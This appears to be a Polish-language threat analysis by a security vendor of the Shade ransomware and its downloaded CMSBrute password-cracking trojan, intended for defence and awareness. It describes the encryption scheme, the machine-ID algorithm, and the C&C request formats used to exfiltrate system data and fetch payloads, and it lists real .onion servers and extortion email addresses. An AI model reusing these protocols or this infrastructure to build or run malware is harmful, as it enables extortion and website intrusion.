Stan zagrożeń w internecie znajduje się obecnie na poziomie standardowym. Nie występują duże epidemie a eksperci z Kaspersky Lab nie zanotowali żadnych poważnych incydentów związanych z bezpieczeństwem. Poziom zagrożenia: 1

Program szyfrujący Shade: podwójne zagrożenie

Tagi:

Rodzina trojanów wyłudzających okup, które szyfrują pliki i dodają rozszerzenia “.xtbl” oraz “.ytbl”, pojawiła się na przełomie lat 2014/2015, szybko zapewniając sobie miejsce w pierwszej trójce najbardziej rozpowszechnionych programów szyfrujących w Rosji (obok programów Trojan-Ransom.Win32.Cryakl i Trojan-Ransom.BAT.Scatter). Zgodnie z klasyfikacją firmy Kaspersky Lab, zagrożeniu temu przypisano werdykt Trojan-Ransom.Win32.Shade. Pierwotna nazwa nadana temu programowi przez jego twórcę nie jest znana; inni producenci ochrony wykrywają go pod nazwą Trojan.Encoder.858, Ransom:Win32/Troldesh. 

Nie odnotowaliśmy znaczącej ewolucji tego trojana na przestrzeni czasu – zmieniał się tylko format nazwy zaszyfrowanego pliku, adresy serwera kontroli (C&C) oraz klucze RSA.

Istnieją dwie główne metody wykorzystywane w celu dostarczenia szkodliwego oprogramowania na komputery ofiary: wiadomości spamowe i zestawy exploitów (w szczególności NuclearEK).

W przypadku pierwszej metody, użytkownik otrzymuje wiadomość z załączonym szkodliwym plikiem. System zostaje zainfekowany, gdy użytkownik próbuje otworzyć załącznik. Podczas rozprzestrzeniania programu Trojan-Ransom.Win32.Shade zostały wykorzystane następujące nazwy plików:

  • doc_dlea podpisi.com
  • doc_dlea podpisi.rar
  • documenti_589965465_documenti.com
  • documenti_589965465_documenti.rar
  • documenti_589965465_doc.scr
  • doc_dlea podpisi.rar
  • неподтвержден 308853.scr
  • documenti dlea podpisi 05.08.2015.scr.exe
  • akt sverki za 17082015.scr

Należy zauważyć, że nazwa pliku zmienia się dla każdej kampanii masowych wysyłek, dlatego powyższa lista nie wyczerpuje potencjalnych nazw plików.

Drugi mechanizm dostarczania szkodliwego oprogramowania – za pośrednictwem zestawu exploitów – jest bardziej niebezpieczny, ponieważ infekcja następuje w momencie, gdy ofiara bezwiednie odwiedza zainfekowaną stronę internetową. Może to być strona należąca do cyberprzestępców lub legalny zasób, który padł ofiarą ataku hakerskiego. W większości przypadków, użytkownik jest całkowicie nieświadomy zagrożenia, jakie stanowi taka strona internetowa. Umieszczony na stronie szkodliwy kod wykorzystuje lukę w zabezpieczeniach przeglądarki lub wtyczki, a następnie trojan zostaje potajemnie zainstalowany w systemie. W przeciwieństwie do metody wykorzystującej spam, ofiara nie musi nawet uruchamiać pliku wykonywalnego.      

Po tym, jak Trojan-Ransom.Win32.Shade znajdzie się w systemie, łączy się z serwerem kontroli (C&C) w sieci Tor, zgłasza infekcję i żąda publicznego klucza RSA-3072, który jest następnie wykorzystywany do szyfrowania plików (co zostało omówione w dalszej części). Jeśli próba połączenia nie powiedzie się, trojan wybiera jeden ze 100 kluczy publicznych, które są przechowywane w jego ciele na wypadek takiej ewentualności.  

Następnie trojan zaczyna szyfrować pliki. Podczas skanowania w celu znalezienia obiektów do zaszyfrowania wykorzystuje statyczną listę rozszerzeń ukazaną na poniższym zrzucie ekranu.

shade_en_1_auto.png

Po zakończeniu szyfrowania jako tło pulpitu zostaje ustawiony obraz z groźbą: 

shade_en_2_auto.png

Trojan zostawia żądania okupu w plikach README1.txt, …, README10.txt. Zawartość tych plików jest zawsze taka sama:

shade_en_3_auto.png

Jednak w przeciwieństwie do większości innych programów szyfrujących Trojan-Ransom.Win32.Shade nie poprzestaje na tym. Nie kończy swojego procesu, ale rozpoczyna nieskończoną pętlę, w której żąda listy z serwera kontroli zawierającej adresy URL dodatkowego szkodliwego oprogramowania. Następnie pobiera takie szkodliwe oprogramowanie i instaluje je w systemie. Tego rodzaju aktywność jest typowa dla botów pobierających szkodliwe oprogramowanie. Zauważyliśmy, że pobierane są szkodniki z następujących rodzin: 

  • Trojan.Win32.CMSBrute (poniżej znajduje się bardziej szczegółowy opis).
  • Trojan.Win32.Muref
  • Trojan.Win32.Kovter
  • Trojan-Downloader.Win32.Zemot

Poniżej znajduje się kod pętli pobierania i nadsłuchiwania:

shade_en_4_auto.png

W związku z powyższym, w przypadku wykrycia programu szyfrującego Shade (lub stworzonych przez niego plików .xtbl, .ytbl) niezwykle istotne jest przeprowadzenie pełnego skanowania antywirusowego komputera. Jeżeli użytkownik nie podejmie żadnego działania, system najprawdopodobniej pozostanie zainfekowany kilkoma szkodliwymi programami pobranymi przez program szyfrujący.

Wspólne cechy trojanów z rodziny Shade

  • Napisany w języku programowania C++ przy użyciu STL i własnych klas.
  • Statycznie powiązany z klientem Tor.
  • Wykorzystuje wątki, zwinięcie, biblioteki OpenSSL.
  • Każda próbka posiada zakodowany na sztywno adres URL serwera kontroli. W różnych próbkach zidentyfikowano łącznie 10 adresów serwerów kontroli, z czego osiem jest obecnie aktywnych. Wszystkie serwery kontroli są zlokalizowane w sieci Tor. 
  • Wszystkie ciągi (w tym nazwy istotnych funkcji) są zaszyfrowane przy użyciu AES. Zostają odszyfrowane wraz z uruchomieniem programu, następnie tablica importu zostaje zapełniona dynamicznie.
  • Przed ustawieniem nowego tła pulpitu stare zostaje zapisane w rejestrze.
  • Zwykle spakowany przy użyciu UPX i dodatkowego pakera. Po rozpakowaniu jego rozmiar wynosi 1817 KB.
  • Tworzy na komputerze ofiary 10 identycznych plików o nazwie README1.txt, …README10.txt zawierających żądania okupu w języku rosyjskim i angielskim.
  • Generowany jest unikatowy klucz 256-bit AES w celu zaszyfrowania zawartości oraz nazwy każdego pliku. Szyfrowanie odbywa się w trybie CBC z zerowym wektorem inicjowania.
  • Zawiera 100 publicznych kluczy RSA-3072 z publicznym wykładnikiem 65537 (W różnych próbkach wykryto łącznie 300 różnych kluczy publicznych).
  • Posiada zdolność pobierania i uruchamiania szkodliwego oprogramowania.

Schemat kryptograficzny

Generowanie identyfikatora zainfekowanego komputera

  1. Trojan uzyskuje nazwę komputera (comp_name) z pomocą funkcji API GetComputerName, oraz liczbę procesów (num_cpu) z pomocą funkcji API GetSystemInfo;   
  2. Przy użyciu numeru seryjnego woluminu systemowego oblicza 32-bitową stałą i przekształca ją w ciąg HEX (vol_const); 
  3. Uzyskuje dane dotyczące wersji systemu operacyjnego (os_version) oddzielone symbolem  “;” (np. “5;1;2600;1;Service Pack 3″);
  4. Tworzy ciąg comp_namenum_cpuvol_constos_version;
  5. Oblicza sumę kontrolną MD5 tego ciągu;
  6. Przekształca sumę kontrolną MD5 w ciąg HEX i wykorzystuje pierwsze 20 znaków jako identyfikator komputera.

Uzyskiwanie danych dotyczących klucza

Po wygenerowaniu identyfikatora komputera trojan próbuje połączyć się z serwerem kontroli zlokalizowanym w sieci Tor, wysyła do niego identyfikator komputera i otrzymuje w zamian publiczny klucz RSA. Jeśli próba połączenia nie powiedzie się, zostanie wybrany jeden ze 100 publicznych kluczy RSA zakodowanych na sztywno w ciele trojana.

Szyfrowanie plików

W celu zaszyfrowania plików wykorzystywany jest algorytm AES 256 w trybie CBC. Dla każdego zaszyfrowanego pliku generowane są dwa losowe klucze 256-bit AES: jeden służy do szyfrowania zawartości pliku, drugi do szyfrowania nazwy pliku. Klucze te są umieszczone w strukturze narzędzia key_data, które zostaje następnie zaszyfrowane przy użyciu wybranego klucza RSA (dlatego po zaszyfrowaniu zajmuje 384 bajty) i umieszczone na końcu zaszyfrowanego pliku:

shade_en_5.png

W składni C struktura ta może być zapisana w następujący sposób:

shade_en_6.png

Trojan próbuje zmienić nazwę zaszyfrowanego pliku przy użyciu wyniku obliczeń Base64(AES_encrypt(pierwotna nazwa pliku)).xtbl (np. ArSxrr+acw970LFQw.xtbl). W przypadku niepowodzenia dodaje po prostu rozszerzenie .ytbl do pierwotnej nazwy pliku. W późniejszych wersjach trojan ten dodaje ID zainfekowanego komputera, a następnie rozszerzenie .xtbl do nazwy pliku, np. ArSxrr+acw970LFQw.043C17E72A1E91C6AE29.xtbl.   

Komunikacja z serwerem kontroli

Adres jednego serwera kontroli znajduje się w ciele trojana. Serwery są zlokalizowane w sieci Tor, a komunikacja jest nawiązywana przy użyciu klienta Tor, który jest statycznie powiązany z trojanem.

Próbka wysyła do serwera kontroli następujące żądania:

  1. Żądanie nowego publicznego klucza RSA:
    GET http://<server>.onion/reg.php?i=ID&b=build&v=version&ss=stage
    ID – identyfikator zainfekowanego komputera;
    build – identyfikator określonej próbki trojana;
    version – wersja trojana (trafiliśmy na wersje 1 i 2);
    stage – etap szyfrowania – żądanie nowego klucza publicznego lub wiadomości o zakończeniu szyfrowania pliku.
  2. Komunikat o błędzie
    GET http://<server>.onion/err.php?i=ID&b=build&v=version&err=error
    error – komunikat zakodowany przy użyciu base64 dotyczący błędu podczas szyfrowania.
  3. Raport dotyczący aktualnego etapu programu szyfrującego
    GET http://<server>.onion/prog.php?i=ID&b=build&v=version&ss=stage&c=count&f=finish
    count – aktualna liczba zaszyfrowanych plików;
    finish – flaga wskazująca na zakończenie szyfrowania
  4. Informacje dotyczące systemu:
    POSThttp://<server>.onion/sys.php?i=ID&b=build&v=version&ss=stage&c=count&k=key_number&si=info
    key_number – numer wybranego klucza RSA (jeśli klucz nie został uzyskany z serwera, ale wybrany spośród kluczy zawartych w ciele trojana);
    info – informacje zebrane z zainfekowanego komputera:
  • Nazwa komputera
  • Nazwa użytkownika
  • Adres IP
  • Domena komputera
  • Lista sterowników logicznych
  • Wersja systemu Windows
  • Lista zainstalowanych programów

5. Żądanie listy adresów URL, z których należy pobrać i uruchomić dodatkowe szkodliwe oprogramowanie:
GET http://<server>.onion/cmd.php?i=ID&b=build&v=version

Rozprzestrzenianie programu szyfrującego

Program partnerski

Kod, który użytkownik ma wysłać cyberprzestępcom e-mailem, może mieć format ID|0, jeśli kod publiczny został uzyskany z serwera kontroli, lub ID|key_number|build|version, jeśli został wybrany jeden z publicznych kluczy RSA zakodowanych na sztywno w ciele trojana, wraz z odpowiednim numerem wykorzystanym jako wartość key_number. ID stanowi identyfikator zainfekowanego komputera, kompilacja i wersja to wartości numeryczne oznaczające odpowiednio identyfikator określonej próbki trojana oraz wersję programu szyfrującego.     

Podczas analizy próbek trojana wykryliśmy kilka kombinacji wartości „wersja”, adresów e-mail wykorzystywanych do komunikacji z cyberprzestępcami oraz adresów serwerów kontroli. Różne wartości „wersji” są powiązane z różnymi adresami e-mail, chociaż ten sam serwer kontroli (C&C) może rozprzestrzeniać kilka różnych próbek trojana:

kompilacja

C&C

email

2

a4yhexpmth2ldj3v.onion

files1147@gmail.com
post100023@gmail.com

2

a4yhexpmth2ldj3v.onion

decode0987@gmail.com
decode098@gmail.com

4

a4yhexpmth2ldj3v.onion

decodefile001@gmail.com
decodefile002@gmail.com

6

a4yhexpmth2ldj3v.onion

files08880@gmail.com
files08881@gmail.com

2

e4aibjtrguqlyaow.onion

decodefiles1@gmail.com
decodefiles@india.com

15

e4aibjtrguqlyaow.onion

post8881@gmail.com
post24932@gmail.com

12

gxyvmhc55s4fss2q.onion

decode00001@gmail.com
decode00002@gmail.com

14

gxyvmhc55s4fss2q.onion

decode010@gmail.com
decode1110@gmail.com

4

gxyvmhc55s4fss2q.onion

deshifrovka01@gmail.com
deshifrovka@india.com

 

Zaobserwowaliśmy rozprzestrzenianie różnych próbek dwóch wersji programu szyfrującego. Dla każdej konkretnej próbki tej samej wersji trojana istniała unikatowa kombinacja “wersji” (ID konkretnej próbki) oraz adresu e-mail (w celu komunikacji z cyberprzestępcami).

Chociaż nie znaleźliśmy żadnych informacji o partnerstwie, na podstawie danych możemy przyjąć, że trojan ten jest rozprzestrzeniany, a okup pobierany, za pośrednictwem sieci partnerskiej. Identyfikatory próbki szkodliwego oprogramowania (wartość „wersja”) oraz różne adresy e-mail są powiązane z różnymi partnerami odpowiedzialnymi za rozprzestrzenianie tego szkodliwego programu.

Rozkład geograficzny

Większość infekcji przy użyciu omawianego trojana ma miejsce w Rosji, na Ukrainie i w Niemczech. Według danych z systemu KSN, rozkład występowania szkodnika o nazwie Trojan-Ransom.Win32.Shade jest następujący:

shade_en_7.png

Rosja

70,88%

Niemcy

8,42%

Ukraina

6,48%

Austria

3,91%

Szwajcaria

2,98%

Polska

1,45%

Kazachstan

1,20%

Białoruś

1,07%

Brazylia

0,55%

Pobierane szkodliwe oprogramowanie: trojan wykorzystywany do łamania haseł do stron internetowych metodą „brute force”

Wśród szkodliwych programów pobieranych przez program o nazwie Trojan-Ransom.Win32.Shade znajduje się trojan wykorzystywany do łamania haseł do stron internetowych metodą „brute force”. Wewnętrzna struktura tego szkodnika jest bardzo podobna do struktury samego trojana szyfrującego – został on najprawdopodobniej stworzony przez ten sam zespół cyberprzestępców. Trojanowi temu przydzielono werdykt Trojan.Win32.CMSBrute.  

Wspólne cechy rodziny CMSBrute

  • Napisany w języku C++ przy użyciu STL i własnych klas.
  • Statycznie połączony z klientem sieci Tor.
  • Wykorzystuje wątki, zwinięcie, biblioteki OpenSSL. 
  • Każda próbka posiada zaprogramowany adres URL do jednego serwera kontroli (C&C). W różnych próbkach wykryto łącznie trzy adresy serwerów kontroli. Wszystkie serwery kontroli są zlokalizowane w sieci Tor i różnią się od adresów, jakie można znaleźć w próbkach szkodnika o nazwie Trojan-Ransom.Win32.Shade.
  • Wszystkie ciągi (wraz z nazwami importowanych funkcji) są zaszyfrowane przy użyciu AES. W momencie uruchomienia się programu zostają zaszyfrowane, a następnie tabela importu zostaje dynamicznie zapełniona.
  • Zwykle spakowany przy użyciu UPX. Po rozpakowaniu jego rozmiar wynosi 2080-2083 KB.
  • Kopiuje się do jednego z folderów na dysku C o nazwie csrss.exe.
  • Pobiera dodatkowe wtyczki DLL. Wtyczki pobierają kod, który określa zawartość systemu zarządzania (CMS) zainstalowanego na atakowanej stronie, szuka konsoli zarządzania i łamie hasła. Wykryliśmy wtyczki dla stron internetowych opartych na Joomla, WordPress oraz DataLifeEngine.

Komunikacja z serwerem kontroli (C&C)

Każda próbka trojana o nazwie Trojan.Win32.CMSBrute zawiera adres jednego serwera kontroli (C&C). Serwery są zlokalizowane w sieci Tor, a komunikacja z nimi jest nawiązywana przy pomocy klienta sieci Tor, który jest statycznie połączony z trojanem.

Próbka wysyła następujące żądania do serwera kontroli:

  1. Zarejestruj nowego bota:
    GET http://<server>.onion/reg.php?n=ID&b=build&v=version&sf=stage
    ID – identyfikator zainfekowanego komputera. Jest obliczany przy użyciu nieco innego algorytmu niż ten wykorzystywany dla programu szyfrującego Shade;
    build – identyfikator konkretnej próbki szkodliwego oprogramowania. Znaleźliśmy jedynie kompilację1; 
    version – wersja szkodliwego programu. Znaleźliśmy tylko wersję 1;
    stage – etap działania trojana.
  2. Żądanie uzyskania adresów URL w celu pobrania/aktualizacji wtyczek DLL.
    GET http://<server>.onion/upd.php?n=ID&b=build&v=version&p=plugins
  3. Żądanie dla zadania określenia CMS na stronie internetowej oraz sprawdzenia danych uwierzytelniających logowanie:
    GET http://<server>.onion/task.php?n=ID&b=build&v=version&p=plugins
    plugins – wersje zainstalowanych wtyczek DLL.
    Odpowiedź serwera przychodzi w formacie JSON i zawiera adresy URL stron internetowych, które mają zostać zaatakowane, oraz słownik wykorzystywany do łamania haseł. 
  4. Wyślij raport z ataku brute force:
    POST http://<server>.onion/rep.php?n=ID&b=build&v=version&rep=report
    report – ciąg JSON zawierający raport dotyczący CMS znalezionego na stronie internetowej jak również złamanych danych uwierzytelniających logowanie do konsoli administracyjnej.

Zalecenia

W przypadku programu o nazwie Trojan-Ransom.Win32.Shade, aktualne są wszelkie udzielone wcześniej rady dotyczące zwalczania programów szyfrujących. Szczegółowe instrukcje są dostępne na stronie:

https://support.kaspersky.com/viruses/common/10952

Jeśli twój komputer został już zaatakowany przy użyciu tego trojana, niezwykle ważne jest, abyś przeprowadził pełne skanowanie i wyleczył go przy użyciu rozwiązania antywirusowego. Pamiętaj, że Trojan-Ransom.Win32.Shade pobiera i instaluje szkodliwe oprogramowanie należące do kilku różnych rodzin, jak wskazano na początku tego artykułu. 

Dodatek

Podczas pisania tego artykułu wykorzystano następujące próbki:

Werdykt

MD5

Trojan-Ransom.Win32.Shade.ub

21723762c841b2377e06472dd9691da2

Trojan-Ransom.Win32.Shade.ui

bb159b6fe30e3c914feac5d4e1b85a61

Trojan.Win32.CMSBrute.a

543d1620ce976cb13fec190ccc1bc83a